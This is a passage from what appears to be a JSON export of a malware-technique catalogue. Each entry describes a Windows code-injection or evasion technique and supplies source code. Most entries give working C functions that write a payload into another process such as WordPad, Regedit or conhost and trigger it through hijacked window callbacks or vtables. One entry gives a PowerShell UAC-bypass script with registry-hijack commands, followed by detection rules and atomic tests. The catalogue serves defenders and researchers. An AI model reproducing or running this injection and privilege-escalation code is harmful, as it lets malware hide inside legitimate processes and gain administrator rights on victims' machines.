0;}\r\n    \r\n    dns_inject(pic, len);\r\n    \r\n    return 0;\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "CLIPBRDWNDCLASS",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "The Object Linking & Embedding (OLE) library (ole32.dll) uses a private clipboard. It registers CLIPBRDWNDCLASS as a window class, creates a window derived from that class, and assigns a number of window properties to store the address of interfaces required to process clipboard data. \r\nClipboardDataObjectInterface, can be leveraged for code injection. Two other properties, ClipboardRootDataObjectInterface and ClipboardDataObjectInterfaceMTA can also be used.\r\n\r\nIf ClipboardDataObjectInterface is set to the address of an IUnknown interface and the clipboard window procedure receives a WM_DESTROYCLIPBOARD message, it will invoke the Release method.",
            "resources": "https://modexp.wordpress.com/2019/05/24/4066/",
            "tags": "ole",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/3/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/160/?format=api",
                    "description": "",
                    "plain_code": "typedef struct _IUnknown_t {\r\n    // a pointer to virtual function table\r\n    ULONG_PTR lpVtbl;\r\n    // the virtual function table\r\n    ULONG_PTR QueryInterface;\r\n    ULONG_PTR AddRef;\r\n    ULONG_PTR Release;       // executed for WM_DESTROYCLIPBOARD\r\n} IUnknown_t;\r\n\r\n// The following code assumes a valid clipboard window already exists. There is no error checking.\r\nVOID clipboard(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE     hp;\r\n    HWND       hw;\r\n    DWORD      id;\r\n    IUnknown_t iu;\r\n    LPVOID     cs, ds;\r\n    SIZE_T     wr;\r\n    \r\n    // 1. Find a private clipboard.\r\n    //    Obtain the process id and open it\r\n    hw = FindWindowEx(HWND_MESSAGE, NULL, L\"CLIPBRDWNDCLASS\", NULL);\r\n    GetWindowThreadProcessId(hw, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 2. Allocate RWX memory in process and write payload\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 3. Allocate RW memory in process.\r\n    //    Initialize and write IUnknown interface\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n    iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);\r\n    iu.Release = (ULONG_PTR)cs;\r\n    WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);\r\n    \r\n    // 4. Set the interface property and trigger execution\r\n    SetProp(hw, L\"ClipboardDataObjectInterface\", ds);\r\n    PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);\r\n    \r\n    // 5. Release memory for code and data\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "WordWarping",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Edit controls (including Rich Edit) are very common Windows controls present in most applications. They are either embedded directly, or as subclassed windows. When they display text in multiline mode they use so-called EditWordBreakProc callback function.\r\n\r\nAnytime the control needs to do something related to word wrapping the procedure will be called.\r\nOne can modify this function for any window by sending EM_SETWORDBREAKPROC message to it. If windows is an Edit control or its descendant, funny things may happen. \r\nA word wrapper callback function for an edit or rich edit control can be set using the EM_SETWORDBREAKPROC message. \r\n\r\nSimulating keyboard input via the SendInput or PostMessage APIs can trigger execution of the callback function.",
            "resources": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/ http://www.hexacorn.com/blog/2019/04/23/wordwarper-new-code-injection-trick/",
            "tags": "WordWarping",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/6/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/158/?format=api",
                    "description": "",
                    "plain_code": "VOID wordwarping(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, rew;\r\n    LPVOID        cs, wwf;\r\n    SIZE_T        rd, wr;\r\n    INPUT         ip;\r\n    \r\n    // 1. Get main window for wordpad.\r\n    //    This will accept simulated keyboard input.\r\n    wpw = FindWindow(L\"WordPadClass\", NULL);\r\n    \r\n    // 2. Find the rich edit control for wordpad.\r\n    rew = FindWindowEx(wpw, NULL, L\"RICHEDIT50W\", NULL);\r\n\r\n    // 3. Try get current address of Wordwrap function\r\n    wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);\r\n\r\n    // 4. Obtain the process id for wordpad.\r\n    GetWindowThreadProcessId(rew, &id);\r\n\r\n    // 5. Try open the process.\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 6. Allocate RWX memory for the payload.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    // 7. Write the payload to memory\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n\r\n    // 8. Update the callback procedure\r\n    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);\r\n\r\n    // 9. Simulate keyboard input to trigger payload\r\n    ip.type           = INPUT_KEYBOARD;\r\n    ip.ki.wVk         = 'A';\r\n    ip.ki.wScan       = 0;\r\n    ip.ki.dwFlags     = 0;\r\n    ip.ki.time        = 0;\r\n    ip.ki.dwExtraInfo = 0;\r\n    \r\n    SetForegroundWindow(rew);\r\n    SendInput(1, &ip, sizeof(ip));\r\n\r\n    // 10. Restore original Wordwrap function (if any)\r\n    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);\r\n    \r\n    // 11. Free memory and close process handle\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "EditWordBreakProc",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Edit controls (including Rich Edit) are very common Windows controls present in most applications. They are either embedded directly, or as subclassed windows.\r\n\r\nWhen they display text in multiline mode they use so-called EditWordBreakProc callback function. \r\nAnytime the control needs to do something related to word wrapping the procedure will be called.\r\nWhen a rich edit control receives the EM_STREAMIN message, it uses the information provided in an EDITSTREAM structure to transfer a stream of data into or out of the control. The pfnCallback field is of type EDITSTREAMCALLBACK and can point to a payload in memory.",
            "resources": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/",
            "tags": "",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/3/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/157/?format=api",
                    "description": "",
                    "plain_code": "typedef struct _editstream {\r\n  DWORD_PTR          dwCookie;\r\n  DWORD              dwError;\r\n  EDITSTREAMCALLBACK pfnCallback;\r\n} EDITSTREAM;\r\n\r\nVOID streamception(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, rew;\r\n    LPVOID        cs, ds;\r\n    SIZE_T        rd, wr;\r\n    EDITSTREAM    es;\r\n    \r\n    // 1. Get window handles\r\n    wpw = FindWindow(L\"WordPadClass\", NULL);\r\n    rew = FindWindowEx(wpw, NULL, L\"RICHEDIT50W\", NULL);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(rew, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n\r\n    // 4. Allocate RW memory and copy the EDITSTREAM structure there.\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n        \r\n    es.dwCookie    = 0;\r\n    es.dwError     = 0;\r\n    es.pfnCallback = cs;\r\n    \r\n    WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);\r\n    \r\n    // 5. Trigger payload with EM_STREAMIN\r\n    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);\r\n\r\n    // 6. Free memory and close process handle\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "OLEUM",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Edit controls (including Rich Edit) are very common Windows controls present in most applications. They are either embedded directly, or as subclassed windows. When they display text in multiline mode they use so-called EditWordBreakProc callback function. Anytime the control needs to do something related to word wrapping the procedure will be called.\r\n\r\nThe EM_GETOLECALLBACK message does not appear to be well documented, and when sent to the rich edit window with SendMessage will crash if LPARAM does not point to locally accessible memory. Moreover, EM_GETOLECALLBACK did not return a pointer to IRichEditOleCallback as expected, it returned a pointer to IRichEditOle instead. Because of this, EM_SETOLECALLBACK will not be used. \r\nInstead, the heap memory holding IRichEditOle.lpVtbl is overwritten with an address to a copy of the original table with one method pointing to the payload, in this case GetClipboardData.",
            "resources": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/",
            "tags": "",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/6/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/156/?format=api",
                    "description": "",
                    "plain_code": "typedef struct _IRichEditOle_t {\r\n    ULONG_PTR QueryInterface;\r\n    ULONG_PTR AddRef;\r\n    ULONG_PTR Release;\r\n    ULONG_PTR GetClientSite;\r\n    ULONG_PTR GetObjectCount;\r\n    ULONG_PTR GetLinkCount;\r\n    ULONG_PTR GetObject;\r\n    ULONG_PTR InsertObject;\r\n    ULONG_PTR ConvertObject;\r\n    ULONG_PTR ActivateAs;\r\n    ULONG_PTR SetHostNames;\r\n    ULONG_PTR SetLinkAvailable;\r\n    ULONG_PTR SetDvaspect;\r\n    ULONG_PTR HandsOffStorage;\r\n    ULONG_PTR SaveCompleted;\r\n    ULONG_PTR InPlaceDeactivate;\r\n    ULONG_PTR ContextSensitiveHelp;\r\n    ULONG_PTR GetClipboardData;\r\n    ULONG_PTR ImportDataObject;\r\n} _IRichEditOle;\r\n\r\nVOID oleum(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE                hp;\r\n    DWORD                 id;\r\n    HWND                  rew;\r\n    LPVOID                cs, ds, ptr, mem, tbl;\r\n    SIZE_T                rd, wr;\r\n    _IRichEditOle         reo;\r\n    \r\n    // 1. Get the window handle\r\n    rew = FindWindow(L\"WordPadClass\", NULL);\r\n    rew = FindWindowEx(rew, NULL, L\"RICHEDIT50W\", NULL);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(rew, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n      \r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Allocate RW memory for the current address\r\n    ptr = VirtualAllocEx(hp, NULL, sizeof(ULONG_PTR),\r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n      \r\n    // 5. Query the interface\r\n    SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);\r\n    \r\n    // 6. Read the memory address\r\n    ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);\r\n\r\n    // 7. Read IRichEditOle.lpVtbl\r\n    ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);\r\n\r\n    // 8. Read virtual function table\r\n    ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);\r\n\r\n    // 9. Allocate memory for copy of virtual table\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),\r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n      \r\n    // 10. Set the GetClipboardData method to address of payload\r\n    reo.GetClipboardData = (ULONG_PTR)cs;\r\n    \r\n    // 11. Write new virtual function table to remote memory\r\n    WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);\r\n    \r\n    // 12. update IRichEditOle.lpVtbl\r\n    WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr); \r\n    \r\n    // 13. Trigger payload by invoking the GetClipboardData method\r\n    PostMessage(rew, WM_COPY, 0, 0);\r\n    \r\n    // 14. Restore original value of IRichEditOle.lpVtbl\r\n    WriteProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 15. Free memory and close process handle\r\n    VirtualFreeEx(hp, ptr,0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);   \r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "Listplanting",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Edit controls (including Rich Edit) are very common Windows controls present in most applications. They are either embedded directly, or as subclassed windows.\r\n\r\nWhen they display text in multiline mode they use so-called EditWordBreakProc callback function. Anytime the control needs to do something related to word wrapping the procedure will be called.\r\nSorting items/groups in a ListView control can be customized using the LVM_SORTGROUPS, LVM_INSERTGROUPSORTED and LVM_SORTITEMS messages.",
            "resources": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/",
            "tags": "",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/3/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/155/?format=api",
                    "description": "The following code uses the registry editor and LVM_SORTITEMS to trigger the payload. The problem is that the callback function will be invoked for every item in the list. If no items are in the list, the function isn’t invoked at all.",
                    "plain_code": "VOID listplanting(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          lvm;\r\n    LPVOID        cs;\r\n    SIZE_T        wr;\r\n    \r\n    // 1. get the window handle\r\n    lvm = FindWindow(L\"RegEdit_RegEdit\", NULL);\r\n    lvm = FindWindowEx(lvm, 0, L\"SysListView32\", 0);\r\n   \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(lvm, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Trigger payload\r\n    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);\r\n    \r\n    // 5. Free memory and close process handle\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "Treepoline",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "(Rich)Edit controls are not the only ones that suffer callback overwrites. The tree-view controls are also in this category. When a tree-view control is displaying its content it needs to sort the items it shows. This sorting routine can be controlled, and changed with a TVSORTCB structure.\r\n\r\nOne of the fields in this structure is called lpfnCompare. It points to a routine that will be called anytime a comparison between tree elements is required. We can tell any tree-view window to use our callback by sending a TVM_SORTCHILDRENCB. The moment control executes our call back routine it’s a game over.",
            "resources": "http://www.hexacorn.com/blog/2019/04/24/treepoline-new-code-injection-technique/\r\nhttps://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/",
            "tags": "",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/6/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/154/?format=api",
                    "description": "",
                    "plain_code": "VOID treepoline(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, tlv;\r\n    LPVOID        cs, ds, item;\r\n    SIZE_T        rd, wr;\r\n    TVSORTCB      tvs;\r\n    \r\n    // 1. get the treeview handle\r\n    wpw = FindWindow(L\"RegEdit_RegEdit\", NULL);\r\n    tlv = FindWindowEx(wpw, 0, L\"SysTreeView32\", 0);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(tlv, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n        \r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Obtain the root item in tree list\r\n    item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);\r\n\r\n    tvs.hParent     = item;\r\n    tvs.lpfnCompare = cs;\r\n    tvs.lParam      = 0;\r\n    \r\n    // 5. Allocate RW memory and copy the TVSORTCB structure\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n        \r\n    WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);\r\n    \r\n    // 6. Trigger payload\r\n    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);\r\n\r\n    // 7. Free memory and close process handle\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "ConsoleWindowClass",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Every window object has support for User Data that can be set via the SetWindowLongPtr API and GWLP_USERDATA parameter. The User Data of a window is simply a small amount of memory that is normally used for storing a pointer to a class object. \r\n\r\nIn the case of the Console Window Host (conhost) process, it stores the address of a data structure. Contained within the structure is information about the window’s current position on the desktop, its dimensions, an object handle, and of course a class object with methods to control the behaviour of the console window.",
            "resources": "https://modexp.wordpress.com/2018/09/12/process-injection-user-data/",
            "tags": "",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/6/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/153/?format=api",
                    "description": "",
                    "plain_code": "VOID conhostInject(LPVOID payload, DWORD payloadSize) {\r\n    HWND          hwnd;\r\n    LONG_PTR      udptr;\r\n    DWORD         pid, ppid;\r\n    SIZE_T        wr;\r\n    HANDLE        hp;\r\n    ConsoleWindow cw;\r\n    LPVOID        cs, ds;\r\n    ULONG_PTR     vTable;\r\n    \r\n    // 1. Obtain handle and process id for a console window \r\n    //   (this assumes one already running)\r\n    hwnd = FindWindow(L\"ConsoleWindowClass\", NULL);\r\n    \r\n    GetWindowThreadProcessId(hwnd, &ppid);\r\n    // 2. Obtain the process id for the host process \r\n    pid = conhostId(ppid);\r\n    \r\n    // 3. Open the conhost.exe process\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    // 4. Allocate RWX memory and copy the payload there\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 5. Read the address of current virtual table\r\n    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);\r\n    ReadProcessMemory(hp, (LPVOID)udptr, \r\n        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 6. Read the current virtual table into local memory\r\n    ReadProcessMemory(hp, (LPVOID)vTable, \r\n      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);\r\n      \r\n    // 7. Allocate RW memory for the new virtual table\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n    // 8. update the local copy of virtual table with \r\n    //    address of payload and write to remote process\r\n    cw.GetWindowHandle = (ULONG_PTR)cs;\r\n    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); \r\n    // 9. Update pointer to virtual table in remote process\r\n    WriteProcessMemory(hp, (LPVOID)udptr, &ds, \r\n      sizeof(ULONG_PTR), &wr); \r\n    // 10. Trigger execution of the payload\r\n    SendMessage(hwnd, WM_SETFOCUS, 0, 0);\r\n    // 11. Restore pointer to original virtual table\r\n    WriteProcessMemory(hp, (LPVOID)udptr, &vTable, \r\n      sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 12. Release memory and close handles\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "Bypass User Account Control",
            "category": [
                "https://search.unprotect.it/api/categories/10/?format=api"
            ],
            "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system.  Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\r\n\r\nThe impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.",
            "resources": "https://attack.mitre.org/techniques/T1548/002/",
            "tags": "uac, mitre",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/8/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/6/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/152/?format=api",
                    "description": "",
                    "plain_code": "<#\r\n.SYNOPSIS\r\nFileless UAC Bypass by Abusing Shell API\r\n.PARAMETER Command\r\nSpecifies the command you would like to run in high integrity context.\r\n \r\n.EXAMPLE\r\nInvoke-WSResetBypass -Command \"C:\\Windows\\System32\\cmd.exe /c start cmd.exe\"\r\nThis will effectivly start cmd.exe in high integrity context.\r\n.NOTES\r\nThis UAC bypass has been tested on the following:\r\n - Windows 10 Version 1803 OS Build 17134.590\r\n - Windows 10 Version 1809 OS Build 17763.316\r\n#>\r\nfunction Invoke-WSResetBypass {\r\n      Param (\r\n      [String]$Command = \"C:\\Windows\\System32\\cmd.exe /c start cmd.exe\"\r\n      )\r\n      $CommandPath = \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\"\r\n      $filePath = \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\"\r\n      New-Item $CommandPath -Force | Out-Null\r\n      New-ItemProperty -Path $CommandPath -Name \"DelegateExecute\" -Value \"\" -Force | Out-Null\r\n      Set-ItemProperty -Path $CommandPath -Name \"(default)\" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null\r\n      Write-Host \"[+] Registry entry has been created successfully!\"\r\n      $Process = Start-Process -FilePath \"C:\\Windows\\System32\\WSReset.exe\" -WindowStyle Hidden\r\n      Write-Host \"[+] Starting WSReset.exe\"\r\n      Write-Host \"[+] Triggering payload..\"\r\n      Start-Sleep -Seconds 5\r\n      if (Test-Path $filePath) {\r\n      Remove-Item $filePath -Recurse -Force\r\n      Write-Host \"[+] Cleaning up registry entry\"\r\n      }\r\n}"
                }
            ],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/1/?format=api",
                    "name": "UNPROTECT_uac_bypass",
                    "rule": "rule UNPROTECT_UAC_Bypass_Strings {\r\n    meta:\r\n        description = \"Rule to detect UAC bypass attempt by regarding strings\"\r\n        author = \"Thibault Seret\"\r\n        date = \"2020-04-10\"\r\n    strings:\r\n        $s1 = \"SeIncreaseQuotaPrivilege\" ascii fullword\r\n        $s2 = \"SeSecurityPrivilege\" ascii fullword\r\n        $s3 = \"SeTakeOwnershipPrivilege\" ascii fullword\r\n        $s4 = \"SeLoadDriverPrivilege\" ascii fullword\r\n        $s5 = \"SeSystemProfilePrivilege\" ascii fullword\r\n        $s6 = \"SeSystemtimePrivilege\" ascii fullword\r\n        $s7 = \"SeProfileSingleProcessPrivilege\" ascii fullword\r\n        $s8 = \"SeIncreaseBasePriorityPrivilege\" ascii fullword\r\n        $s9 = \"SeCreatePagefilePrivilege\" ascii fullword\r\n        $s10 = \"SeBackupPrivilege\" ascii fullword\r\n        $s11 = \"SeRestorePrivilege\" ascii fullword\r\n        $s12 = \"SeShutdownPrivilege\" ascii fullword\r\n        $s13 = \"SeDebugPrivilege\" ascii fullword\r\n        $s14 = \"SeSystemEnvironmentPrivilege\" ascii fullword\r\n        $s15 = \"SeChangeNotifyPrivilege\" ascii fullword\r\n        $s16 = \"SeRemoteShutdownPrivilege\" ascii fullword\r\n        $s17 = \"SeUndockPrivilege\" ascii fullword\r\n        $s18 = \"SeManageVolumePrivilege\" ascii fullword\r\n        $s19 = \"SeImpersonatePrivilege\" ascii fullword\r\n        $s20 = \"SeCreateGlobalPrivilege\" ascii fullword\r\n        $s21 = \"SeIncreaseWorkingSetPrivilege\" ascii fullword\r\n        $s22 = \"SeTimeZonePrivilege\" ascii fullword\r\n        $s23 = \"SeCreateSymbolicLinkPrivilege\" ascii fullword\r\n    condition:\r\n        5 of them\r\n}"
                },
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/3/?format=api",
                    "name": "uac_bypass",
                    "rule": "title: Fodhelper UAC Bypass\r\nstatus: experimental\r\ndescription: Fodhelper UAC Bypass\r\nauthor: Joe Security\r\ndate: 2020-07-30\r\nid: 200082\r\nthreatname:\r\nbehaviorgroup: 26\r\nclassification: 7\r\nmitreattack:\r\n\r\nlogsource:\r\n      category: process_creation\r\n      product: windows\r\ndetection:\r\n      selection:      \r\n          CommandLine:\r\n              - '*reg add*hkcu\\software\\classes\\ms-settings\\shell\\open\\command*'\r\n      condition: selection\r\nlevel: critical\r\nattack_technique: T1548.002\r\ndisplay_name: 'Abuse Elevation Control Mechanism: Bypass User Access Control'\r\natomic_tests:\r\n- name: Bypass UAC using Event Viewer (cmd)\r\n  auto_generated_guid: 5073adf8-9a50-4bd9-b298-a9bd2ead8af9\r\n  description: |\r\n    Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\r\n    Upon execution command prompt should be launched with administrative privelages\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    executable_binary:\r\n      description: Binary to execute with UAC Bypass\r\n      type: path\r\n      default: C:\\Windows\\System32\\cmd.exe\r\n  executor:\r\n    command: |\r\n      reg.exe add hkcu\\software\\classes\\mscfile\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\r\n      cmd.exe /c eventvwr.msc\r\n    cleanup_command: |\r\n      reg.exe delete hkcu\\software\\classes\\mscfile /f >nul 2>&1\r\n    name: command_prompt\r\n- name: Bypass UAC using Event Viewer (PowerShell)\r\n  auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b\r\n  description: |\r\n    PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\r\n    Upon execution command prompt should be launched with administrative privelages\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    executable_binary:\r\n      description: Binary to execute with UAC Bypass\r\n      type: path\r\n      default: C:\\Windows\\System32\\cmd.exe\r\n  executor:\r\n    command: |\r\n      New-Item \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Force\r\n      Set-ItemProperty \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\r\n      Start-Process \"C:\\Windows\\System32\\eventvwr.msc\"\r\n    cleanup_command: |\r\n      Remove-Item \"HKCU:\\software\\classes\\mscfile\" -force -Recurse -ErrorAction Ignore\r\n    name: powershell\r\n- name: Bypass UAC using Fodhelper\r\n  auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182\r\n  description: |\r\n    Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 